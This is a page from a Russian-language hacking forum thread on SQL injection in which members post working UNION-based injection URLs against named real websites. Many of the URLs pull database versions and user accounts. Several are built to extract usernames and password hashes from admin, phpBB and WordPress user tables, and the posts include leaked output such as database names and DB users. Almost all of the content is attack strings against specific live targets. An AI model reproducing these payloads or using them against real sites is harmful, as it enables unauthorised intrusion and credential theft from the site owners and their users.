SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
  1. -JC-

    -JC- Member

    Joined:
    10 Mar 2009
    Messages:
    54
    Likes Received:
    18
    Reputations:
    11
    Code:
    http://www.magazinmagazinov.ru/service/item.php?page=1&id=-91+union+select+1,2,concat_ws(0x3a,user,password),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29+from+mysql.user+--+
     
    2 people like this.
  2. HAXTA4OK

    HAXTA4OK Super Moderator
    Staff Member

    Joined:
    15 Mar 2009
    Messages:
    946
    Likes Received:
    838
    Reputations:
    605
    http://lenta.bt-lady.com.ua/index.php?id=1+and+substring(version(),1,1)=4--
     
    _________________________
    1 person likes this.
  3. mol0t

    mol0t Member

    Joined:
    8 Jul 2009
    Messages:
    28
    Likes Received:
    89
    Reputations:
    3
    ТИЦ: 1600
    PR: 4
    Code:
    http://www.heavymusic.ru/labels.php?id=-1+union+select+1,concat_ws(0x3a,database(),version(),user()),3,4,5--
    
    u90911:5.0.67-log:[email protected]


    Code:
    http://www.vashidengi.ru/newsdetail.php?id=58+union+select+1,2,3,4,concat_ws(0x3a,database(),version(),user())--
    
    wwwvashidengiru:4.0.26:[email protected]


    Code:
    http://www.leika.ru/pages/articles.php?item_id=-57+union+select+1,2,3,concat_ws(0x3a,database(),version(),user()),5,6,7,8,9,10,11--
    
    db_leika1:4.0.27-standard:leika1@localhost
     
    #10303 mol0t, 10 Aug 2009
    Last edited: 10 Aug 2009
    1 person likes this.
  4. Skofield

    Skofield Elder - Старейшина

    Joined:
    27 Aug 2008
    Messages:
    960
    Likes Received:
    392
    Reputations:
    58
    Code:
    PR 6[/COLOR]http://ohiolearns.org/catalog/displaydegree.php?id=-415+union+select+concat_ws(0x3a,username,password),2,3,4,5,6,7,8,9,0,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42+from+users/*
    Database Version: 4.0.26-Max
    Database name: catalog
    User name: [email protected]

    --------------------------------------------------------------------------------------------------------------------------------

    Code:
    http://www.oldvictheatre.com/whatson.php?id=-47+union+select+1,version(),3,4,5,6,7,8,9,10/*
    Database Version: 5.0.27-log
    Database name: oldvic
    User name: [email protected]

    -----------------------------------------------------------------------------------------------------------------------------------

    PR 5
    http://www.rajagiri.edu/php/showFaqContent.php?id=-8+union+select+1,version(),3,4/*

    Database Version: 4.1.22-community
    Database name: db1565
    User name: [email protected]
     
    #10304 Skofield, 10 Aug 2009
    Last edited by a moderator: 10 Aug 2009
    1 person likes this.
  5. _Quest_

    _Quest_ Member

    Joined:
    21 May 2009
    Messages:
    11
    Likes Received:
    12
    Reputations:
    3
    Поздравляем грузию с годовщиной.

    Сайт грузинской армии.
    SQL-inj
    http://ajl.ge/pages.php?lang_id=geo&cat_id=1&news_id=-16%20UNION%20SELECT%201,2,CONCAT_WS(CHAR(32,58,32),writer_id,name,nick,pass,picture,email,allowe),4,5,6,7,8,9,10,11%20FROM%20writers

    http://insta.ge/index.php?pg_n=0&id=-6+union+select+CONCAT_WS(CHAR(32,58,32),id,user,pass)+FROM+admins
     
    #10305 _Quest_, 10 Aug 2009
    Last edited by a moderator: 10 Aug 2009
    2 people like this.
  6. Skofield

    Skofield Elder - Старейшина

    Joined:
    27 Aug 2008
    Messages:
    960
    Likes Received:
    392
    Reputations:
    58
    Code:
    http://www.bytten.com/gamereview.php?id=-227+union+select+1,2,3,4,version(),6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,52/*
    Database Version: 5.0.45-log
    Database name: db23338146
    User name: db23338146@localhost

    -------------------------------------------------------------------------------------------------------------------

    Code:
    http://www.recurrencies.com/test/project.php?pid=-2+union+select+version()--
    Database Version: 5.0.67-community-log
    Database name: recurren_recur
    User name: recurren@localhost
     
    #10306 Skofield, 10 Aug 2009
    Last edited: 10 Aug 2009
  7. Swift

    Swift Banned

    Joined:
    27 Oct 2008
    Messages:
    78
    Likes Received:
    156
    Reputations:
    8
    4.0.15:tca_admin@localhost:tca_news
     
  8. Skofield

    Skofield Elder - Старейшина

    Joined:
    27 Aug 2008
    Messages:
    960
    Likes Received:
    392
    Reputations:
    58
    Code:
    http://www.gingliders.com/paragliding/showdetails.php?id=-109+union+select+1,version(),3,4,5,6,7--
    Database Version: 5.0.81-community-log
    Database name: ginglide_newsen
    User name: ginglide_news@localhost
     
  9. Assembler

    Assembler Elder - Старейшина

    Joined:
    1 Sep 2007
    Messages:
    173
    Likes Received:
    102
    Reputations:
    23
    http://www.fota.co.uk/news.php?action=showArticle&params[id]=-958%20union%20select%201,concat_ws(0x3a,id,username,password,access),3,4,5,6,7,8,9,10,11,12,13,14,15%20from%20users%20limit%201,1--
     
    #10309 Assembler, 11 Aug 2009
    Last edited by a moderator: 11 Aug 2009
    2 people like this.
  10. z00MAN

    z00MAN Banned

    Joined:
    20 Nov 2008
    Messages:
    360
    Likes Received:
    276
    Reputations:
    41
    Code:
    http://www.unionlabelgroup.com/bandsview.php?id=11+UNION+SELECT+1,2,3,concat_ws(0x3a,database(),version(),user()),5,6--
    unionlab_admin:5.0.51a-community:unionlab_admin@localhost



    Code:
    http://www.caritas-hagen.de/aktuelles.php?id=11+union+select+1,concat_ws(0x3a,database(),version(),user()),3,4,5,6,7,8--
    d006891d:4.0.25-Max-log:[email protected]

    Code:
    http://www.chbabc.org/content.php?id=11+and+substring(version(),1,1)=4/*
     
    2 people like this.
  11. diGriz

    diGriz Elder - Старейшина

    Joined:
    11 Oct 2006
    Messages:
    138
    Likes Received:
    82
    Reputations:
    6
    PR 4
    Code:
    http://crprod.teiep.gr/news.php/downloads/downloads/news.php?sa=view_new&id=-20+union+select+1,2,concat_ws(0x3a,database(),version(),user()),4,5,6
    db_fitikis:5.0.22-community-nt-log:root@localhost

    PR 5
    Code:
    http://www.footballdatabase.com/index.php?page=player&Id=-1771+union+select+1,2,concat_ws(0x3a,database(),version(),user()),4,5,6,7,8+--+&pn=Ayhan_Akman
    nhosko80_footballdatabase:5.0.77-community:nhosko80_footdb@localhost

    Code:
    http://www.joaoluizcorrea.com.br/fotos.php?album=-271+union+select+1,concat_ws(0x3a,user(),database(),version()),3,4
    [email protected]:joaoluizcorrea:4.1.22-locaweb-log
     
    2 people like this.
  12. Swift

    Swift Banned

    Joined:
    27 Oct 2008
    Messages:
    78
    Likes Received:
    156
    Reputations:
    8
    [email protected]_content
     
    #10312 Swift, 11 Aug 2009
    Last edited: 11 Aug 2009
  13. RazyKK

    RazyKK Member

    Joined:
    9 Feb 2009
    Messages:
    127
    Likes Received:
    16
    Reputations:
    4
    http://www.cc.lu/index.php?page=54+and+substring(@@version,1,1)=5.0
    version 5.0
    user cdc@localhost
    database cdc
     
  14. RulleR

    RulleR Elder - Старейшина

    Joined:
    12 Jun 2008
    Messages:
    166
    Likes Received:
    439
    Reputations:
    313
    Code:
    http://www.oldseds.co.uk/seds/results.php?id=999999999999999+union+select+concat_ws(0x3a,version(),database(),user()),2,3,4,5,6,7,8--
    5.0.68-percona-3-log:heartsfc:[email protected]
    Code:
    http://www.oldseds.co.uk/seds/results.php?id=999999999999999+union+select+concat_ws(0x3a,username,user_password,user_level),2,3,4,5,6,7,8+from+phpbb_users+limit+1,1--
    ============================================
    Code:
    http://www.mereducation.com/resources/item.php?id=-1+union+select+1,2,3,concat_ws(0x3a,version(),database(),user()),5,6,7
    5.0.22-standard-log:mered_live:[email protected]
    Code:
    http://www.mereducation.com/resources/item.php?id=-1+union+select+1,2,3,concat_ws(0x3a,username,password,email),5,6,7+from+users
    ============================================
    Code:
    http://www.weathersentinel.com/search/results.php?id=55+union+select+1,2,3,concat_ws(0x3a,version(),database(),user())
    5.0.45:weathers_search:weathers_user@localhost
    Code:
    http://www.weathersentinel.com/search/results.php?id=55+union+select+1,2,3,concat_ws(0x3a,adminuser_firstname,adminuser_email,adminuser_pass)+from+adminuser
    ============================================
    Code:
    http://www.gojumbos.com/results.php?id=-170+union+select+1,2,3,concat_ws(0x3a,version(),database(),user())
    5.0.81-community-log:tuftsxcc_tuportal:tuftsxcc@localhost
    Code:
    http://www.gojumbos.com/results.php?id=-170+union+select+1,2,3,concat_ws(0x3a,username,user_password,user_level)+from+tuftsxcc_phpbb.phpbb_users
    
    Code:
    http://www.gojumbos.com/results.php?id=-170+union+select+1,2,3,concat_ws(0x3a,user_login,user_pass,user_status)+from+tuftsxcc_wrdp1.wp_users
    ============================================
    Code:
    http://www.raahauges.com/view-results.php?id=9999999999999+union+select+1,2,3,concat_ws(0x3a,version(),database(),user())
    5.1.34-community:raahauges_com_cms:[email protected]
    ============================================
    Code:
    http://www.natickwrestling.com/results.php?id=-12+union+select+1,2,3,4,concat_ws(0x3a,version(),database(),user()),6
    5.0.67-log:db271766403:[email protected]
    ============================================
    Code:
    http://emg-zine.com/item.php?id=-396+union+select+1,2,3,4,5,6,7,8,unhex(hex(concat_ws(0x3a,version(),database(),user()))),10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26
    4.1.16-standard-log:readly:[email protected]
    ============================================
    Code:
    http://namos.cg.yu/pregled.php?id=9999999999999999+union+select+unhex(hex(concat_ws(0x3a,version(),database(),user())))
    4.1.12:namos_co_me_-_emi:namos@localhost
     
    1 person likes this.
  15. mol0t

    mol0t Member

    Joined:
    8 Jul 2009
    Messages:
    28
    Likes Received:
    89
    Reputations:
    3
    PR5
    Code:
    http://www.edenslostandfound.org/home/preview.php?id=-30+union+select+1,2,3,4,concat_ws(0x3a,database(),version(),user()),6,7,8,9,10--
    
    edensl:5.0.24:edensl@localhost




    Ассоциация специалистов по недвижимости Украины
    Code:
    http://www.cbn-cp.com/preview.php?id=-147+union+select+1,2,concat_ws(0x3a,database(),version(),user()),4,5,6,7,8,9,10,11,12,13,14--
    
    alexk_comprop:5.0.81-log:[email protected]



    ещё риелторы
    Code:
    http://realtygroup.com.ua/preview.php?id=-34+union+select+1,2,concat_ws(0x3a,database(),version(),user()),4,5,6,7,8,9,10,11,12,13,14,15--
    
    realtygr_comprop:5.0.81-log:[email protected]



    Code:
    http://www.kvartira.kiev.ua/preview.php?id=-7+union+select+1,concat_ws(0x3a,database(),version(),user()),3,4,5,6--
    
    bzbunsky_apart:5.0.51a-log:bzbunsky_root@localhost
     
    1 person likes this.
  16. BlackSun

    BlackSun Banned

    Joined:
    1 Apr 2007
    Messages:
    989
    Likes Received:
    1,168
    Reputations:
    446
    <black_vidslibcom@localhost:4.1.22>
    http://vidslib.com/index.php?view=-1%27+union+select+1,concat_ws(0x3a,user(),version()),3,4,5,6,7,8,9,10,11,12,13,14,15+--+

    <admin@localhost:5.0.45>
    http://mudb.suicidalgoldfish.com/view.php?id=-1+union+select+1,2,3,concat_ws(0x3a,user(),version()),5,6,7,8,9,10,11,12,13,14+--+

    <[email protected]:5.0.51a>
    http://trailers.thefunplanet.com/view.php?id=-1+union+select+1,concat_ws(0x3a,user(),version()),3,4,5,6,7,8+--+
     
    #10316 BlackSun, 12 Aug 2009
    Last edited: 12 Aug 2009
    1 person likes this.
  17. HAXTA4OK

    HAXTA4OK Super Moderator
    Staff Member

    Joined:
    15 Mar 2009
    Messages:
    946
    Likes Received:
    838
    Reputations:
    605
    http://www.vercon.bt/directory/user_details.php?id=1+union+select+1,2,3,4,5,concat_Ws(0x3a,user(),database(),version()),7,8,9,10,11,12,13,14,15,16,17--

    verconDBUser@localhost:vercon:5.0.83
     
    _________________________
  18. fraIzer

    fraIzer Member

    Joined:
    27 Jul 2009
    Messages:
    11
    Likes Received:
    8
    Reputations:
    0
    Code:
    http://powercorridor.com/php/showNewsItem.php?news_id=-22+union+select+1,2,3,4,5,6,7,8,9,10,11,12,concat_ws(0x3a,admin_id,user_name,password)+from+administrator--
     
  19. Swift

    Swift Banned

    Joined:
    27 Oct 2008
    Messages:
    78
    Likes Received:
    156
    Reputations:
    8
    5.0.45-community-ntdayi@dbhostdayi
     
    #10319 Swift, 12 Aug 2009
    Last edited: 13 Aug 2009
  20. CYBORG1980

    CYBORG1980 New Member

    Joined:
    11 Aug 2009
    Messages:
    1
    Likes Received:
    0
    Reputations:
    0
    http://yarich.ru/production/?s=&page=&id=-65'

    Database Version: 5.0.45
    Database name: yarich
    User name: root@localhost

    http://yarich.ru/production/?s=&page=&id=-65+UNION+SELECT+1,CONCAT(0x7873716C696E6A626567696E,(SELECT+CONCAT(username,0x7873716C696E6A64656C,user_password,0x7873716C696E6A64656C,user_level)+FROM+yarich.users+LIMIT+0,1),0x7873716C696E6A656E64),3,4,5,6/*
     
    #10320 CYBORG1980, 12 Aug 2009
    Last edited by a moderator: 12 Aug 2009
Thread Status:
Not open for further replies.